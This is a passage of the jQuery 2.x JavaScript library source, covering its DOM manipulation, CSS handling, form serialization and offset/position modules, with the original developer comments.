"<table><tbody>", "</tbody></table>" ], td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], _default: [ 0, "", "" ] }; // Support: IE 9 wrapMap.optgroup = wrapMap.option; wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; wrapMap.th = wrapMap.td; jQuery.fn.extend({ text: function( value ) { return jQuery.access( this, function( value ) { return value === undefined ? jQuery.text( this ) : this.empty().append( ( this[ 0 ] && this[ 0 ].ownerDocument || document ).createTextNode( value ) ); }, null, value, arguments.length ); }, append: function() { return this.domManip( arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.appendChild( elem ); } }); }, prepend: function() { return this.domManip( arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.insertBefore( elem, target.firstChild ); } }); }, before: function() { return this.domManip( arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this ); } }); }, after: function() { return this.domManip( arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this.nextSibling ); } }); }, // keepData is for internal use only--do not document remove: function( selector, keepData ) { var elem, elems = selector ? jQuery.filter( selector, this ) : this, i = 0; for ( ; (elem = elems[i]) != null; i++ ) { if ( !keepData && elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem ) ); } if ( elem.parentNode ) { if ( keepData && jQuery.contains( elem.ownerDocument, elem ) ) { setGlobalEval( getAll( elem, "script" ) ); } elem.parentNode.removeChild( elem ); } } return this; }, empty: function() { var elem, i = 0; for ( ; (elem = this[i]) != null; i++ ) { if ( elem.nodeType === 1 ) { // Prevent memory leaks jQuery.cleanData( getAll( elem, false ) ); // Remove any remaining nodes elem.textContent = ""; } } return this; }, clone: function( dataAndEvents, deepDataAndEvents ) { dataAndEvents = dataAndEvents == null ? false : dataAndEvents; deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; return this.map( function () { return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); }); }, html: function( value ) { return jQuery.access( this, function( value ) { var elem = this[ 0 ] || {}, i = 0, l = this.length; if ( value === undefined && elem.nodeType === 1 ) { return elem.innerHTML; } // See if we can take a shortcut and just use innerHTML if ( typeof value === "string" && !rnoInnerhtml.test( value ) && !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) { value = value.replace( rxhtmlTag, "<$1></$2>" ); try { for ( ; i < l; i++ ) { elem = this[ i ] || {}; // Remove element nodes and prevent memory leaks if ( elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem, false ) ); elem.innerHTML = value; } } elem = 0; // If using innerHTML throws an exception, use the fallback method } catch( e ) {} } if ( elem ) { this.empty().append( value ); } }, null, value, arguments.length ); }, replaceWith: function() { var // Snapshot the DOM in case .domManip sweeps something relevant into its fragment args = jQuery.map( this, function( elem ) { return [ elem.nextSibling, elem.parentNode ]; }), i = 0; // Make the changes, replacing each context element with the new content this.domManip( arguments, function( elem ) { var next = args[ i++ ], parent = args[ i++ ]; if ( parent ) { // Don't use the snapshot next if it has moved (#13810) if ( next && next.parentNode !== parent ) { next = this.nextSibling; } jQuery( this ).remove(); parent.insertBefore( elem, next ); } // Allow new content to include elements from the context set }, true ); // Force removal if there was no new content (e.g., from empty arguments) return i ? this : this.remove(); }, detach: function( selector ) { return this.remove( selector, true ); }, domManip: function( args, callback, allowIntersection ) { // Flatten any nested arrays args = core_concat.apply( [], args ); var fragment, first, scripts, hasScripts, node, doc, i = 0, l = this.length, set = this, iNoClone = l - 1, value = args[ 0 ], isFunction = jQuery.isFunction( value ); // We can't cloneNode fragments that contain checked, in WebKit if ( isFunction || !( l <= 1 || typeof value !== "string" || jQuery.support.checkClone || !rchecked.test( value ) ) ) { return this.each(function( index ) { var self = set.eq( index ); if ( isFunction ) { args[ 0 ] = value.call( this, index, self.html() ); } self.domManip( args, callback, allowIntersection ); }); } if ( l ) { fragment = jQuery.buildFragment( args, this[ 0 ].ownerDocument, false, !allowIntersection && this ); first = fragment.firstChild; if ( fragment.childNodes.length === 1 ) { fragment = first; } if ( first ) { scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); hasScripts = scripts.length; // Use the original fragment for the last item instead of the first because it can end up // being emptied incorrectly in certain situations (#8070). for ( ; i < l; i++ ) { node = fragment; if ( i !== iNoClone ) { node = jQuery.clone( node, true, true ); // Keep references to cloned scripts for later restoration if ( hasScripts ) { // Support: QtWebKit // jQuery.merge because core_push.apply(_, arraylike) throws jQuery.merge( scripts, getAll( node, "script" ) ); } } callback.call( this[ i ], node, i ); } if ( hasScripts ) { doc = scripts[ scripts.length - 1 ].ownerDocument; // Reenable scripts jQuery.map( scripts, restoreScript ); // Evaluate executable scripts on first document insertion for ( i = 0; i < hasScripts; i++ ) { node = scripts[ i ]; if ( rscriptType.test( node.type || "" ) && !data_priv.access( node, "globalEval" ) && jQuery.contains( doc, node ) ) { if ( node.src ) { // Hope ajax is available... jQuery._evalUrl( node.src ); } else { jQuery.globalEval( node.textContent.replace( rcleanScript, "" ) ); } } } } } } return this; } }); jQuery.each({ appendTo: "append", prependTo: "prepend", insertBefore: "before", insertAfter: "after", replaceAll: "replaceWith" }, function( name, original ) { jQuery.fn[ name ] = function( selector ) { var elems, ret = [], insert = jQuery( selector ), last = insert.length - 1, i = 0; for ( ; i <= last; i++ ) { elems = i === last ? this : this.clone( true ); jQuery( insert[ i ] )[ original ]( elems ); // Support: QtWebKit // .get() because core_push.apply(_, arraylike) throws core_push.apply( ret, elems.get() ); } return this.pushStack( ret ); }; }); jQuery.extend({ clone: function( elem, dataAndEvents, deepDataAndEvents ) { var i, l, srcElements, destElements, clone = elem.cloneNode( true ), inPage = jQuery.contains( elem.ownerDocument, elem ); // Support: IE >= 9 // Fix Cloning issues if ( !jQuery.support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) && !jQuery.isXMLDoc( elem ) ) { // We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2 destElements = getAll( clone ); srcElements = getAll( elem ); for ( i = 0, l = srcElements.length; i < l; i++ ) { fixInput( srcElements[ i ], destElements[ i ] ); } } // Copy the events from the original to the clone if ( dataAndEvents ) { if ( deepDataAndEvents ) { srcElements = srcElements || getAll( elem ); destElements = destElements || getAll( clone ); for ( i = 0, l = srcElements.length; i < l; i++ ) { cloneCopyEvent( srcElements[ i ], destElements[ i ] ); } } else { cloneCopyEvent( elem, clone ); } } // Preserve script evaluation history destElements = getAll( clone, "script" ); if ( destElements.length > 0 ) { setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); } // Return the cloned set return clone; }, buildFragment: function( elems, context, scripts, selection ) { var elem, tmp, tag, wrap, contains, j, i = 0, l = elems.length, fragment = context.createDocumentFragment(), nodes = []; for ( ; i < l; i++ ) { elem = elems[ i ]; if ( elem || elem === 0 ) { // Add nodes directly if ( jQuery.type( elem ) === "object" ) { // Support: QtWebKit // jQuery.merge because core_push.apply(_, arraylike) throws jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); // Convert non-html into a text node } else if ( !rhtml.test( elem ) ) { nodes.push( context.createTextNode( elem ) ); // Convert html into DOM nodes } else { tmp = tmp || fragment.appendChild( context.createElement("div") ); // Deserialize a standard representation tag = ( rtagName.exec( elem ) || ["", ""] )[ 1 ].toLowerCase(); wrap = wrapMap[ tag ] || wrapMap._default; tmp.innerHTML = wrap[ 1 ] + elem.replace( rxhtmlTag, "<$1></$2>" ) + wrap[ 2 ]; // Descend through wrappers to the right content j = wrap[ 0 ]; while ( j-- ) { tmp = tmp.firstChild; } // Support: QtWebKit // jQuery.merge because core_push.apply(_, arraylike) throws jQuery.merge( nodes, tmp.childNodes ); // Remember the top-level container tmp = fragment.firstChild; // Fixes #12346 // Support: Webkit, IE tmp.textContent = ""; } } } // Remove wrapper from fragment fragment.textContent = ""; i = 0; while ( (elem = nodes[ i++ ]) ) { // #4087 - If origin and destination elements are the same, and this is // that element, do not do anything if ( selection && jQuery.inArray( elem, selection ) !== -1 ) { continue; } contains = jQuery.contains( elem.ownerDocument, elem ); // Append to fragment tmp = getAll( fragment.appendChild( elem ), "script" ); // Preserve script evaluation history if ( contains ) { setGlobalEval( tmp ); } // Capture executables if ( scripts ) { j = 0; while ( (elem = tmp[ j++ ]) ) { if ( rscriptType.test( elem.type || "" ) ) { scripts.push( elem ); } } } } return fragment; }, cleanData: function( elems ) { var data, elem, events, type, key, j, special = jQuery.event.special, i = 0; for ( ; (elem = elems[ i ]) !== undefined; i++ ) { if ( Data.accepts( elem ) ) { key = elem[ data_priv.expando ]; if ( key && (data = data_priv.cache[ key ]) ) { events = Object.keys( data.events || {} ); if ( events.length ) { for ( j = 0; (type = events[j]) !== undefined; j++ ) { if ( special[ type ] ) { jQuery.event.remove( elem, type ); // This is a shortcut to avoid jQuery.event.remove's overhead } else { jQuery.removeEvent( elem, type, data.handle ); } } } if ( data_priv.cache[ key ] ) { // Discard any remaining `private` data delete data_priv.cache[ key ]; } } } // Discard any remaining `user` data delete data_user.cache[ elem[ data_user.expando ] ]; } }, _evalUrl: function( url ) { return jQuery.ajax({ url: url, type: "GET", dataType: "script", async: false, global: false, "throws": true }); } }); // Support: 1.x compatibility // Manipulating tables requires a tbody function manipulationTarget( elem, content ) { return jQuery.nodeName( elem, "table" ) && jQuery.nodeName( content.nodeType === 1 ? content : content.firstChild, "tr" ) ? elem.getElementsByTagName("tbody")[0] || elem.appendChild( elem.ownerDocument.createElement("tbody") ) : elem; } // Replace/restore the type attribute of script elements for safe DOM manipulation function disableScript( elem ) { elem.type = (elem.getAttribute("type") !== null) + "/" + elem.type; return elem; } function restoreScript( elem ) { var match = rscriptTypeMasked.exec( elem.type ); if ( match ) { elem.type = match[ 1 ]; } else { elem.removeAttribute("type"); } return elem; } // Mark scripts as having already been evaluated function setGlobalEval( elems, refElements ) { var l = elems.length, i = 0; for ( ; i < l; i++ ) { data_priv.set( elems[ i ], "globalEval", !refElements || data_priv.get( refElements[ i ], "globalEval" ) ); } } function cloneCopyEvent( src, dest ) { var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events; if ( dest.nodeType !== 1 ) { return; } // 1. Copy private data: events, handlers, etc. if ( data_priv.hasData( src ) ) { pdataOld = data_priv.access( src ); pdataCur = data_priv.set( dest, pdataOld ); events = pdataOld.events; if ( events ) { delete pdataCur.handle; pdataCur.events = {}; for ( type in events ) { for ( i = 0, l = events[ type ].length; i < l; i++ ) { jQuery.event.add( dest, type, events[ type ][ i ] ); } } } } // 2. Copy user data if ( data_user.hasData( src ) ) { udataOld = data_user.access( src ); udataCur = jQuery.extend( {}, udataOld ); data_user.set( dest, udataCur ); } } function getAll( context, tag ) { var ret = context.getElementsByTagName ? context.getElementsByTagName( tag || "*" ) : context.querySelectorAll ? context.querySelectorAll( tag || "*" ) : []; return tag === undefined || tag && jQuery.nodeName( context, tag ) ? jQuery.merge( [ context ], ret ) : ret; } // Support: IE >= 9 function fixInput( src, dest ) { var nodeName = dest.nodeName.toLowerCase(); // Fails to persist the checked state of a cloned checkbox or radio button. if ( nodeName === "input" && manipulation_rcheckableType.test( src.type ) ) { dest.checked = src.checked; // Fails to return the selected option to the default selected state when cloning options } else if ( nodeName === "input" || nodeName === "textarea" ) { dest.defaultValue = src.defaultValue; } } var curCSS, iframe, // swappable if display is none or starts with table except "table", "table-cell", or "table-caption" // see here for display values: https://developer.mozilla.org/en-US/docs/CSS/display rdisplayswap = /^(none|table(?!-c[ea]).+)/, rmargin = /^margin/, rnumsplit = new RegExp( "^(" + core_pnum + ")(.*)$", "i" ), rnumnonpx = new RegExp( "^(" + core_pnum + ")(?!px)[a-z%]+$", "i" ), rrelNum = new RegExp( "^([+-])=(" + core_pnum + ")", "i" ), elemdisplay = { BODY: "block" }, cssShow = { position: "absolute", visibility: "hidden", display: "block" }, cssNormalTransform = { letterSpacing: 0, fontWeight: 400 }, cssExpand = [ "Top", "Right", "Bottom", "Left" ], cssPrefixes = [ "Webkit", "O", "Moz", "ms" ]; // return a css property mapped to a potentially vendor prefixed property function vendorPropName( style, name ) { // shortcut for names that are not vendor prefixed if ( name in style ) { return name; } // check for vendor prefixed names var capName = name.charAt(0).toUpperCase() + name.slice(1), origName = name, i = cssPrefixes.length; while ( i-- ) { name = cssPrefixes[ i ] + capName; if ( name in style ) { return name; } } return origName; } function isHidden( elem, el ) { // isHidden might be called from jQuery#filter function; // in that case, element will be second argument elem = el || elem; return jQuery.css( elem, "display" ) === "none" || !jQuery.contains( elem.ownerDocument, elem ); } // NOTE: we've included the "window" in window.getComputedStyle // because jsdom on node.js will break without it. function getStyles( elem ) { return window.getComputedStyle( elem, null ); } function showHide( elements, show ) { var display, elem, hidden, values = [], index = 0, length = elements.length; for ( ; index < length; index++ ) { elem = elements[ index ]; if ( !elem.style ) { continue; } values[ index ] = data_priv.get( elem, "olddisplay" ); display = elem.style.display; if ( show ) { // Reset the inline display of this element to learn if it is // being hidden by cascaded rules or not if ( !values[ index ] && display === "none" ) { elem.style.display = ""; } // Set elements which have been overridden with display: none // in a stylesheet to whatever the default browser style is // for such an element if ( elem.style.display === "" && isHidden( elem ) ) { values[ index ] = data_priv.access( elem, "olddisplay", css_defaultDisplay(elem.nodeName) ); } } else { if ( !values[ index ] ) { hidden = isHidden( elem ); if ( display && display !== "none" || !hidden ) { data_priv.set( elem, "olddisplay", hidden ? display : jQuery.css(elem, "display") ); } } } } // Set the display of most of the elements in a second loop // to avoid the constant reflow for ( index = 0; index < length; index++ ) { elem = elements[ index ]; if ( !elem.style ) { continue; } if ( !show || elem.style.display === "none" || elem.style.display === "" ) { elem.style.display = show ? values[ index ] || "" : "none"; } } return elements; } jQuery.fn.extend({ css: function( name, value ) { return jQuery.access( this, function( elem, name, value ) { var styles, len, map = {}, i = 0; if ( jQuery.isArray( name ) ) { styles = getStyles( elem ); len = name.length; for ( ; i < len; i++ ) { map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); } return map; } return value !== undefined ? jQuery.style( elem, name, value ) : jQuery.css( elem, name ); }, name, value, arguments.length > 1 ); }, show: function() { return showHide( this, true ); }, hide: function() { return showHide( this ); }, toggle: function( state ) { var bool = typeof state === "boolean"; return this.each(function() { if ( bool ? state : isHidden( this ) ) { jQuery( this ).show(); } else { jQuery( this ).hide(); } }); } }); jQuery.extend({ // Add in style property hooks for overriding the default // behavior of getting and setting a style property cssHooks: { opacity: { get: function( elem, computed ) { if ( computed ) { // We should always get a number back from opacity var ret = curCSS( elem, "opacity" ); return ret === "" ? "1" : ret; } } } }, // Don't automatically add "px" to these possibly-unitless properties cssNumber: { "columnCount": true, "fillOpacity": true, "fontWeight": true, "lineHeight": true, "opacity": true, "orphans": true, "widows": true, "zIndex": true, "zoom": true }, // Add in properties whose names you wish to fix before // setting or getting the value cssProps: { // normalize float css property "float": "cssFloat" }, // Get and set the style property on a DOM Node style: function( elem, name, value, extra ) { // Don't set styles on text and comment nodes if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { return; } // Make sure that we're working with the right name var ret, type, hooks, origName = jQuery.camelCase( name ), style = elem.style; name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( style, origName ) ); // gets hook for the prefixed version // followed by the unprefixed version hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // Check if we're setting a value if ( value !== undefined ) { type = typeof value; // convert relative number strings (+= or -=) to relative numbers. #7345 if ( type === "string" && (ret = rrelNum.exec( value )) ) { value = ( ret[1] + 1 ) * ret[2] + parseFloat( jQuery.css( elem, name ) ); // Fixes bug #9237 type = "number"; } // Make sure that NaN and null values aren't set. See: #7116 if ( value == null || type === "number" && isNaN( value ) ) { return; } // If a number was passed in, add 'px' to the (except for certain CSS properties) if ( type === "number" && !jQuery.cssNumber[ origName ] ) { value += "px"; } // Fixes #8908, it can be done more correctly by specifying setters in cssHooks, // but it would mean to define eight (for every problematic property) identical functions if ( !jQuery.support.clearCloneStyle && value === "" && name.indexOf("background") === 0 ) { style[ name ] = "inherit"; } // If a hook was provided, use that value, otherwise just set the specified value if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value, extra )) !== undefined ) { style[ name ] = value; } } else { // If a hook was provided get the non-computed value from there if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) { return ret; } // Otherwise just get the value from the style object return style[ name ]; } }, css: function( elem, name, extra, styles ) { var val, num, hooks, origName = jQuery.camelCase( name ); // Make sure that we're working with the right name name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( elem.style, origName ) ); // gets hook for the prefixed version // followed by the unprefixed version hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // If a hook was provided get the computed value from there if ( hooks && "get" in hooks ) { val = hooks.get( elem, true, extra ); } // Otherwise, if a way to get the computed value exists, use that if ( val === undefined ) { val = curCSS( elem, name, styles ); } //convert "normal" to computed value if ( val === "normal" && name in cssNormalTransform ) { val = cssNormalTransform[ name ]; } // Return, converting to number if forced or a qualifier was provided and val looks numeric if ( extra === "" || extra ) { num = parseFloat( val ); return extra === true || jQuery.isNumeric( num ) ? num || 0 : val; } return val; } }); curCSS = function( elem, name, _computed ) { var width, minWidth, maxWidth, computed = _computed || getStyles( elem ), // Support: IE9 // getPropertyValue is only needed for .css('filter') in IE9, see #12537 ret = computed ? computed.getPropertyValue( name ) || computed[ name ] : undefined, style = elem.style; if ( computed ) { if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) { ret = jQuery.style( elem, name ); } // Support: Safari 5.1 // A tribute to the "awesome hack by Dean Edwards" // Safari 5.1.7 (at least) returns percentage for a larger set of values, but width seems to be reliably pixels // this is against the CSSOM draft spec: http://dev.w3.org/csswg/cssom/#resolved-values if ( rnumnonpx.test( ret ) && rmargin.test( name ) ) { // Remember the original values width = style.width; minWidth = style.minWidth; maxWidth = style.maxWidth; // Put in the new values to get a computed value out style.minWidth = style.maxWidth = style.width = ret; ret = computed.width; // Revert the changed values style.width = width; style.minWidth = minWidth; style.maxWidth = maxWidth; } } return ret; }; function setPositiveNumber( elem, value, subtract ) { var matches = rnumsplit.exec( value ); return matches ? // Guard against undefined "subtract", e.g., when used as in cssHooks Math.max( 0, matches[ 1 ] - ( subtract || 0 ) ) + ( matches[ 2 ] || "px" ) : value; } function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) { var i = extra === ( isBorderBox ? "border" : "content" ) ? // If we already have the right measurement, avoid augmentation 4 : // Otherwise initialize for horizontal or vertical properties name === "width" ? 1 : 0, val = 0; for ( ; i < 4; i += 2 ) { // both box models exclude margin, so add it if we want it if ( extra === "margin" ) { val += jQuery.css( elem, extra + cssExpand[ i ], true, styles ); } if ( isBorderBox ) { // border-box includes padding, so remove it if we want content if ( extra === "content" ) { val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); } // at this point, extra isn't border nor margin, so remove border if ( extra !== "margin" ) { val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } else { // at this point, extra isn't content, so add padding val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); // at this point, extra isn't content nor padding, so add border if ( extra !== "padding" ) { val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } } return val; } function getWidthOrHeight( elem, name, extra ) { // Start with offset property, which is equivalent to the border-box value var valueIsBorderBox = true, val = name === "width" ? elem.offsetWidth : elem.offsetHeight, styles = getStyles( elem ), isBorderBox = jQuery.support.boxSizing && jQuery.css( elem, "boxSizing", false, styles ) === "border-box"; // some non-html elements return undefined for offsetWidth, so check for null/undefined // svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285 // MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668 if ( val <= 0 || val == null ) { // Fall back to computed then uncomputed css if necessary val = curCSS( elem, name, styles ); if ( val < 0 || val == null ) { val = elem.style[ name ]; } // Computed unit is not pixels. Stop here and return. if ( rnumnonpx.test(val) ) { return val; } // we need the check for style in case a browser which returns unreliable values // for getComputedStyle silently falls back to the reliable elem.style valueIsBorderBox = isBorderBox && ( jQuery.support.boxSizingReliable || val === elem.style[ name ] ); // Normalize "", auto, and prepare for extra val = parseFloat( val ) || 0; } // use the active box-sizing model to add/subtract irrelevant styles return ( val + augmentWidthOrHeight( elem, name, extra || ( isBorderBox ? "border" : "content" ), valueIsBorderBox, styles ) ) + "px"; } // Try to determine the default display value of an element function css_defaultDisplay( nodeName ) { var doc = document, display = elemdisplay[ nodeName ]; if ( !display ) { display = actualDisplay( nodeName, doc ); // If the simple way fails, read from inside an iframe if ( display === "none" || !display ) { // Use the already-created iframe if possible iframe = ( iframe || jQuery("<iframe frameborder='0' width='0' height='0'/>") .css( "cssText", "display:block !important" ) ).appendTo( doc.documentElement ); // Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse doc = ( iframe[0].contentWindow || iframe[0].contentDocument ).document; doc.write("<!doctype html><html><body>"); doc.close(); display = actualDisplay( nodeName, doc ); iframe.detach(); } // Store the correct default display elemdisplay[ nodeName ] = display; } return display; } // Called ONLY from within css_defaultDisplay function actualDisplay( name, doc ) { var elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ), display = jQuery.css( elem[0], "display" ); elem.remove(); return display; } jQuery.each([ "height", "width" ], function( i, name ) { jQuery.cssHooks[ name ] = { get: function( elem, computed, extra ) { if ( computed ) { // certain elements can have dimension info if we invisibly show them // however, it must have a current display style that would benefit from this return elem.offsetWidth === 0 && rdisplayswap.test( jQuery.css( elem, "display" ) ) ? jQuery.swap( elem, cssShow, function() { return getWidthOrHeight( elem, name, extra ); }) : getWidthOrHeight( elem, name, extra ); } }, set: function( elem, value, extra ) { var styles = extra && getStyles( elem ); return setPositiveNumber( elem, value, extra ? augmentWidthOrHeight( elem, name, extra, jQuery.support.boxSizing && jQuery.css( elem, "boxSizing", false, styles ) === "border-box", styles ) : 0 ); } }; }); // These hooks cannot be added until DOM ready because the support test // for it is not run until after DOM ready jQuery(function() { // Support: Android 2.3 if ( !jQuery.support.reliableMarginRight ) { jQuery.cssHooks.marginRight = { get: function( elem, computed ) { if ( computed ) { // Support: Android 2.3 // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right // Work around by temporarily setting element display to inline-block return jQuery.swap( elem, { "display": "inline-block" }, curCSS, [ elem, "marginRight" ] ); } } }; } // Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084 // getComputedStyle returns percent when specified for top/left/bottom/right // rather than make the css module depend on the offset module, we just check for it here if ( !jQuery.support.pixelPosition && jQuery.fn.position ) { jQuery.each( [ "top", "left" ], function( i, prop ) { jQuery.cssHooks[ prop ] = { get: function( elem, computed ) { if ( computed ) { computed = curCSS( elem, prop ); // if curCSS returns percentage, fallback to offset return rnumnonpx.test( computed ) ? jQuery( elem ).position()[ prop ] + "px" : computed; } } }; }); } }); if ( jQuery.expr && jQuery.expr.filters ) { jQuery.expr.filters.hidden = function( elem ) { // Support: Opera <= 12.12 // Opera reports offsetWidths and offsetHeights less than zero on some elements return elem.offsetWidth <= 0 && elem.offsetHeight <= 0; }; jQuery.expr.filters.visible = function( elem ) { return !jQuery.expr.filters.hidden( elem ); }; } // These hooks are used by animate to expand properties jQuery.each({ margin: "", padding: "", border: "Width" }, function( prefix, suffix ) { jQuery.cssHooks[ prefix + suffix ] = { expand: function( value ) { var i = 0, expanded = {}, // assumes a single number if not a string parts = typeof value === "string" ? value.split(" ") : [ value ]; for ( ; i < 4; i++ ) { expanded[ prefix + cssExpand[ i ] + suffix ] = parts[ i ] || parts[ i - 2 ] || parts[ 0 ]; } return expanded; } }; if ( !rmargin.test( prefix ) ) { jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber; } }); var r20 = /%20/g, rbracket = /\[\]$/, rCRLF = /\r?\n/g, rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, rsubmittable = /^(?:input|select|textarea|keygen)/i; jQuery.fn.extend({ serialize: function() { return jQuery.param( this.serializeArray() ); }, serializeArray: function() { return this.map(function(){ // Can add propHook for "elements" to filter or add form elements var elements = jQuery.prop( this, "elements" ); return elements ? jQuery.makeArray( elements ) : this; }) .filter(function(){ var type = this.type; // Use .is(":disabled") so that fieldset[disabled] works return this.name && !jQuery( this ).is( ":disabled" ) && rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && ( this.checked || !manipulation_rcheckableType.test( type ) ); }) .map(function( i, elem ){ var val = jQuery( this ).val(); return val == null ? null : jQuery.isArray( val ) ? jQuery.map( val, function( val ){ return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; }) : { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; }).get(); } }); //Serialize an array of form elements or a set of //key/values into a query string jQuery.param = function( a, traditional ) { var prefix, s = [], add = function( key, value ) { // If value is a function, invoke it and return its value value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value ); s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value ); }; // Set traditional to true for jQuery <= 1.3.2 behavior. if ( traditional === undefined ) { traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional; } // If an array was passed in, assume that it is an array of form elements. if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { // Serialize the form elements jQuery.each( a, function() { add( this.name, this.value ); }); } else { // If traditional, encode the "old" way (the way 1.3.2 or older // did it), otherwise encode params recursively. for ( prefix in a ) { buildParams( prefix, a[ prefix ], traditional, add ); } } // Return the resulting serialization return s.join( "&" ).replace( r20, "+" ); }; function buildParams( prefix, obj, traditional, add ) { var name; if ( jQuery.isArray( obj ) ) { // Serialize array item. jQuery.each( obj, function( i, v ) { if ( traditional || rbracket.test( prefix ) ) { // Treat each array item as a scalar. add( prefix, v ); } else { // Item is non-scalar (array or object), encode its numeric index. buildParams( prefix + "[" + ( typeof v === "object" ? i : "" ) + "]", v, traditional, add ); } }); } else if ( !traditional && jQuery.type( obj ) === "object" ) { // Serialize object item. for ( name in obj ) { buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); } } else { // Serialize scalar item. add( prefix, obj ); } } jQuery.fn.offset = function( options ) { if ( arguments.length ) { return options === undefined ? this : this.each(function( i ) { jQuery.offset.setOffset( this, options, i ); }); } var docElem, win, elem = this[ 0 ], box = { top: 0, left: 0 }, doc = elem && elem.ownerDocument; if ( !doc ) { return; } docElem = doc.documentElement; // Make sure it's not a disconnected DOM node if ( !jQuery.contains( docElem, elem ) ) { return box; } // If we don't have gBCR, just use 0,0 rather than error // BlackBerry 5, iOS 3 (original iPhone) if ( typeof elem.getBoundingClientRect !== core_strundefined ) { box = elem.getBoundingClientRect(); } win = getWindow( doc ); return { top: box.top + win.pageYOffset - docElem.clientTop, left: box.left + win.pageXOffset - docElem.clientLeft }; }; jQuery.offset = { setOffset: function( elem, options, i ) { var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css( elem, "position" ), curElem = jQuery( elem ), props = {}; // Set position first, in-case top/left are set even on static elem if ( position === "static" ) { elem.style.position = "relative"; } curOffset = curElem.offset(); curCSSTop = jQuery.css( elem, "top" ); curCSSLeft = jQuery.css( elem, "left" ); calculatePosition = ( position === "absolute" || position === "fixed" ) && ( curCSSTop + curCSSLeft ).indexOf("auto") > -1; // Need to be able to calculate position if either top or left is auto and position is either absolute or fixed if ( calculatePosition ) { curPosition = curElem.position(); curTop = curPosition.top; curLeft = curPosition.left; } else { curTop = parseFloat( curCSSTop ) || 0; curLeft = parseFloat( curCSSLeft ) || 0; } if ( jQuery.isFunction( options ) ) { options = options.call( elem, i, curOffset ); } if ( options.top != null ) { props.top = ( options.top - curOffset.top ) + curTop; } if ( options.left != null ) { props.left = ( options.left - curOffset.left ) + curLeft; } if ( "using" in options ) { options.using.call( elem, props ); } else { curElem.css( props ); } } }; jQuery.fn.extend({ position: function() { if ( !this[ 0 ] ) { return; } var offsetParent, offset, elem = this[ 0 ], parentOffset = { top: 0, left: 0 }; // Fixed elements are offset from window (parentOffset = {top:0, left: 0}, because it is it's only offset parent if ( jQuery.css( elem, "position" ) === "fixed" ) { // We assume that getBoundingClientRect is available when computed position is fixed offset = elem.getBoundingClientRect(); } else { // Get *real* offsetParent offsetParent = this.offsetParent(); // Get correct offsets offset = this.offset(); if ( !jQuery.nodeName( offsetParent[ 0 ], "html" ) ) { parentOffset = offsetParent.offset(); } // Add offsetParent borders parentOffset.top += jQuery.css( offsetParent[ 0 ], "borderTopWidth", true ); parentOffset.left += jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true ); } // Subtract parent offsets and element margins return { top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ), left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true ) }; }, offsetParent: function() { return this.map(function() { var offsetParent = this.offsetParent || docElem; while ( offsetParent && ( !jQuery.nodeName( offsetParent, "html" ) && jQuery.css( offsetParent, "position") === "static" ) ) { offsetParent = offsetParent.offsetParent; } return offsetParent || docElem; }); } }); // Create scrollLeft and scrollTop methods jQuery.each( {scrollLeft: "pageXOffset", scrollTop: "pageYOffset"}, function( method, prop ) { var top = "pageYOffset" === prop; jQuery.fn[ method ] = function( val ) { return jQuery.access( this, function( elem, method, val ) { var win = getWindow( elem ); if ( val === undefined ) { return win ? win[ prop ] : elem[ method ]; } if ( win ) { win.scrollTo( !top ? val : window.pageXOffset, top ? val : window.pageYOffset ); } else { elem[ method ] = val; } }, method, val, arguments.length, null ); }; }); function 